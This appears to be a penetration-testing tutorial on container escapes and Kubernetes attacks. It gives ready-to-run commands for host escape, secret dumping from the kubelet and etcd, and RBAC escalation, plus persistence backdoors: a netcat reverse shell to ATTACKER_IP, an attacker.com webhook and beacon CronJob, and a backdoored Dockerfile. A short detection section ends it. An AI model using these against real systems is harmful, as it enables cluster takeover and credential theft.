Container & Kubernetes: Escaping the Box
Containers promise isolation, but misconfigurations are everywhere. Kubernetes adds layers of complexity—and attack surface. From container escapes to cluster takeovers, the cloud-native world is a hacker's playground.
Containers often run critical services and have access to secrets, databases, and internal networks. A single container escape can lead to host compromise, and from there, the entire Kubernetes cluster. Many organizations assume containers are "isolated"—they're not.
Container Architecture & Attack Surface
┌─────────────────────────────────────────────────────────────────────┐
│ CONTAINER ATTACK SURFACE │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ HOST OPERATING SYSTEM │ │
│ │ ┌─────────────────────────────────────────────────────┐ │ │
│ │ │ CONTAINER RUNTIME (Docker/containerd) │ │ │
│ │ │ ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐│ │ │
│ │ │ │Container│ │Container│ │Container│ │Container││ │ │
│ │ │ │ App │ │ App │ │ App │ │ App ││ │ │
│ │ │ └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘│ │ │
│ │ │ │ │ │ │ │ │ │
│ │ │ └────────────┴─────┬──────┴────────────┘ │ │ │
│ │ │ │ │ │ │
│ │ │ SHARED KERNEL │ │ │
│ │ └─────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ ATTACK VECTORS: │
│ ├── Container Image: Vulnerabilities, malware, secrets │
│ ├── Runtime: Privilege escalation, escape to host │
│ ├── Orchestration: K8s API abuse, RBAC bypass │
│ ├── Network: Pod-to-pod, service mesh attacks │
│ └── Supply Chain: Registry poisoning, CI/CD compromise │
│ │
└─────────────────────────────────────────────────────────────────────┘
Container Enumeration
Am I in a Container?
# Check for container indicators
cat /proc/1/cgroup | grep -E 'docker|kubepods|containerd'
ls -la /.dockerenv
cat /proc/self/mountinfo | grep -E 'docker|overlay'
# Check environment
env | grep -i kube
cat /run/secrets/kubernetes.io/serviceaccount/token
# Container filesystem indicators
ls -la /
# Minimal filesystem = likely container
# Check capabilities
cat /proc/self/status | grep Cap
capsh --print
Container Runtime Identification
# Docker socket
ls -la /var/run/docker.sock
# Containerd socket
ls -la /run/containerd/containerd.sock
# CRI-O
ls -la /var/run/crio/crio.sock
# Check running container info
cat /proc/self/cgroup
hostname # Often container ID
Container Escape Techniques
A successful container escape gives you access to the underlying host. In Kubernetes, this often means access to other containers, secrets, and potentially the entire cluster.
Privileged Container Escape
Privileged containers have almost no isolation. They can directly access the host.
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = privileged
# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# Or use nsenter to enter host namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# Access host Docker socket
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host
Docker Socket Escape
If the Docker socket is mounted in the container, it's game over.
# Check for Docker socket
ls -la /var/run/docker.sock
# Spawn privileged container on host
docker run -it --privileged --pid=host --net=host \
-v /:/host alpine chroot /host
# Or add yourself to host
docker run -v /etc:/host_etc alpine \
sh -c 'echo "attacker:x:0:0::/root:/bin/bash" >> /host_etc/passwd'
Capability Abuse
# CAP_SYS_ADMIN - mount filesystems
mount -t proc proc /mnt
# CAP_SYS_PTRACE - attach to host processes
# Inject into PID 1 (init)
strace -p 1
# CAP_NET_ADMIN - manipulate network
iptables -L
# CAP_DAC_OVERRIDE - bypass file permissions
cat /etc/shadow
# CAP_SYS_MODULE - load kernel modules
insmod backdoor.ko
CVE-Based Escapes
| CVE | Name | Impact |
|---|---|---|
| CVE-2019-5736 | runc escape | Overwrite host runc binary, escape on next container start |
| CVE-2020-15257 | containerd-shim | Abstract socket access, host filesystem access |
| CVE-2022-0185 | Kernel escape | Heap overflow in legacy_parse_param, root on host |
| CVE-2022-0847 | Dirty Pipe | Overwrite read-only files, escape container |
Kubernetes Attacks
Kubernetes Architecture
┌─────────────────────────────────────────────────────────────────────┐
│ KUBERNETES CLUSTER │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ CONTROL PLANE WORKER NODES │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ API Server │◄──────────────────│ kubelet │ │
│ │ (Port 6443) │ │ │ │
│ └────────┬────────┘ │ ┌───────────┐ │ │
│ │ │ │ Pod │ │ │
│ ┌────────┴────────┐ │ │ Container │ │ │
│ │ etcd │ │ └───────────┘ │ │
│ │ (All secrets) │ └─────────────────┘ │
│ └─────────────────┘ │
│ │
│ ATTACK TARGETS: │
│ ├── API Server: Unauthenticated access, RBAC bypass │
│ ├── etcd: Direct access = all secrets │
│ ├── kubelet: Anonymous access, pod exec │
│ ├── Service Accounts: Token theft, privilege escalation │
│ └── Pods: Escape, secrets, lateral movement │
│ │
└─────────────────────────────────────────────────────────────────────┘
K8s Enumeration from Inside Pod
# Check for service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# Set up kubectl
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# Query API server
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
https://kubernetes.default.svc/api/v1/namespaces
# Check permissions
kubectl auth can-i --list
kubectl auth can-i create pods
kubectl auth can-i get secrets
RBAC Privilege Escalation
# Find overprivileged service accounts
kubectl get clusterrolebindings -o json | jq '.items[] |
select(.subjects[].kind=="ServiceAccount") |
{name: .metadata.name, role: .roleRef.name}'
# Check for dangerous permissions
kubectl auth can-i create pods --as=system:serviceaccount:default:mysa
kubectl auth can-i get secrets --as=system:serviceaccount:default:mysa
# Privilege escalation via pod creation
# If you can create pods, you can mount any secret
cat << 'EOF' | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pwned
spec:
containers:
- name: pwned
image: alpine
command: ["/bin/sh", "-c", "cat /var/run/secrets/* && sleep 3600"]
volumeMounts:
- name: admin-token
mountPath: /var/run/secrets
volumes:
- name: admin-token
secret:
secretName: admin-sa-token
serviceAccountName: admin-sa
EOF
Attacking the Kubelet
# Anonymous kubelet access (port 10250)
curl -sk https://NODE_IP:10250/pods
# Execute commands in pods via kubelet
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
-d "cmd=id"
# Read-only port (10255) - often enabled
curl -s http://NODE_IP:10255/pods
curl -s http://NODE_IP:10255/metrics
etcd Attacks
# Direct etcd access (if exposed)
etcdctl --endpoints=https://ETCD_IP:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only
# Dump all secrets
etcdctl ... get /registry/secrets --prefix
# Decode secrets
echo "BASE64_SECRET" | base64 -d
Kubernetes Persistence
Malicious Admission Controller
# Deploy mutating webhook that injects backdoor
apiVersion: admissionregistration.k8s.io/v1
kind: MutatingWebhookConfiguration
metadata:
name: backdoor-webhook
webhooks:
- name: backdoor.attacker.com
clientConfig:
url: "https://attacker.com/mutate"
rules:
- operations: ["CREATE"]
apiGroups: [""]
apiVersions: ["v1"]
resources: ["pods"]
Malicious Static Pod
# If you have access to kubelet static pod directory
cat << 'EOF' > /etc/kubernetes/manifests/backdoor.yaml
apiVersion: v1
kind: Pod
metadata:
name: backdoor
spec:
hostNetwork: true
hostPID: true
containers:
- name: backdoor
image: alpine
command: ["/bin/sh", "-c", "while true; do nc -e /bin/sh ATTACKER_IP 4444; sleep 60; done"]
securityContext:
privileged: true
EOF
CronJob Persistence
apiVersion: batch/v1
kind: CronJob
metadata:
name: legitimate-backup
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: backup
image: alpine
command: ["/bin/sh", "-c", "curl http://attacker.com/beacon"]
restartPolicy: OnFailure
Container Image Attacks
Malicious Image Injection
# Backdoored Dockerfile
FROM nginx:latest
# Add backdoor user
RUN useradd -m -s /bin/bash backdoor && \
echo "backdoor:password123" | chpasswd && \
usermod -aG sudo backdoor
# Install reverse shell
RUN apt-get update && apt-get install -y netcat
COPY entrypoint.sh /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]
Extracting Secrets from Images
# Pull and extract image layers
docker pull target-image:latest
docker save target-image:latest -o image.tar
tar -xf image.tar
# Search for secrets
for layer in */layer.tar; do
tar -tf $layer | xargs -I{} grep -l -E 'password|secret|key|token' {}
done
# Check image history for exposed secrets
docker history --no-trunc target-image:latest
Detection Strategies
Container Escape Indicators
| Attack | Detection Method | Indicators |
|---|---|---|
| Privileged container | Admission control | securityContext.privileged: true |
| Docker socket mount | Policy/OPA | Volume mount of /var/run/docker.sock |
| Host path mount | Audit logs | hostPath volume to sensitive directories |
| Kubelet exploit | Network monitor | Direct connections to 10250 from pods |
| API server abuse | Audit logs | Unusual API calls, secrets access |
Security Tools
# Scan images for vulnerabilities
trivy image nginx:latest
grype nginx:latest
# Scan running containers
trivy k8s --all-namespaces
# Check Kubernetes security posture
kube-bench run
kubeaudit all
# Runtime protection
# - Falco: behavioral monitoring
# - Sysdig: container forensics
# - Tetragon: eBPF security